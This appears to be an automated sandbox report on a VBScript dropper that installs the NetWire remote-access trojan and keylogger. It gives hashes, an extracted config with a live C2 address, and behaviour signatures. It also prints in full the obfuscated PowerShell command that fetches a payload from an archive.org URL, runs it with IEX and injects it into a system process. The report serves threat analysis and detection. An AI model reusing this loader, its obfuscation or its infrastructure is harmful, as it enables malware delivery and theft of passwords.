netwire | 3f2520949a57c9b6342f6e6a3f13f56c124bddcd576d3a652aa237b6913e3b4f

General

Target

Report.vbs
Size

1KB
MD5

22f664c3e1c19b865c64920ed8c9ff46
SHA1

187a8eab92dad78c194303b2039feefc58c625d0
SHA256

3f2520949a57c9b6342f6e6a3f13f56c124bddcd576d3a652aa237b6913e3b4f
SHA512

ece857fcc1e1d487554451843761cdb65d11c6d8a5e26e53835a2abc0525082342eb9bcc1c3a1efc789258b88931c0d2d8e45ae5a29d33202fe7c21723a1136d

Score

10^/10

netwire botnet rat stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://ia601406.us.archive.org/20/items/all-jjnb/ALL_jjnb.txt

Extracted

Family

netwire

C2

185.19.85.172:1723

Attributes

activex_autorun
false
activex_key
copy_executable
false
delete_original
false
host_id
HostId-%Rand%
install_path
keylogger_dir
%AppData%\Logs\
lock_executable
false
mutex
offline_keylogger
true
password
Password
registry_autorun
false
startup_name
use_mutex
false

Signatures

NetWire RAT payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/288-71-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral1/memory/288-72-0x000000000040242D-mapping.dmp	netwire
behavioral1/memory/288-74-0x0000000000400000-0x0000000000433000-memory.dmp	netwire

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

7 1220 powershell.exe
9 1220 powershell.exe
11 1220 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1220 set thread context of 288 1220 powershell.exe aspnet_compiler.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1220 powershell.exe
1220 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1220 powershell.exe

flow	pid	process
7	1220	powershell.exe
9	1220	powershell.exe
11	1220	powershell.exe

description	pid	process	target process
PID 1220 set thread context of 288	1220	powershell.exe	aspnet_compiler.exe

pid	process
1220	powershell.exe
1220	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1220	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1864 wrote to memory of 1220	1864	WScript.exe	powershell.exe
PID 1864 wrote to memory of 1220	1864	WScript.exe	powershell.exe
PID 1864 wrote to memory of 1220	1864	WScript.exe	powershell.exe
PID 1220 wrote to memory of 288	1220	powershell.exe	aspnet_compiler.exe
PID 1220 wrote to memory of 288	1220	powershell.exe	aspnet_compiler.exe
PID 1220 wrote to memory of 288	1220	powershell.exe	aspnet_compiler.exe
PID 1220 wrote to memory of 288	1220	powershell.exe	aspnet_compiler.exe
PID 1220 wrote to memory of 288	1220	powershell.exe	aspnet_compiler.exe
PID 1220 wrote to memory of 288	1220	powershell.exe	aspnet_compiler.exe
PID 1220 wrote to memory of 288	1220	powershell.exe	aspnet_compiler.exe
PID 1220 wrote to memory of 288	1220	powershell.exe	aspnet_compiler.exe
PID 1220 wrote to memory of 288	1220	powershell.exe	aspnet_compiler.exe
PID 1220 wrote to memory of 288	1220	powershell.exe	aspnet_compiler.exe
PID 1220 wrote to memory of 288	1220	powershell.exe	aspnet_compiler.exe
PID 1220 wrote to memory of 288	1220	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Report.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://ia601406.us.archive.org/20/items/all-jjnb/ALL_jjnb.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1220

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
PID:288

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/288-71-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/288-74-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/288-73-0x0000000076A81000-0x0000000076A83000-memory.dmp

Filesize
8KB

Download
memory/288-72-0x000000000040242D-mapping.dmp

Download
memory/1220-66-0x000000001AC94000-0x000000001AC96000-memory.dmp

Filesize
8KB

Download
memory/1220-65-0x000000001AC90000-0x000000001AC92000-memory.dmp

Filesize
8KB

Download
memory/1220-67-0x0000000002390000-0x0000000002391000-memory.dmp

Filesize
4KB

Download
memory/1220-68-0x000000001C390000-0x000000001C391000-memory.dmp

Filesize
4KB

Download
memory/1220-69-0x000000001B6C0000-0x000000001B6C1000-memory.dmp

Filesize
4KB

Download
memory/1220-70-0x00000000026E0000-0x00000000026EE000-memory.dmp

Filesize
56KB

Download
memory/1220-64-0x00000000025F0000-0x00000000025F1000-memory.dmp

Filesize
4KB

Download
memory/1220-63-0x000000001AD10000-0x000000001AD11000-memory.dmp

Filesize
4KB

Download
memory/1220-62-0x0000000002430000-0x0000000002431000-memory.dmp

Filesize
4KB

Download
memory/1220-60-0x0000000000000000-mapping.dmp

Download
memory/1864-59-0x000007FEFC471000-0x000007FEFC473000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

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Downloads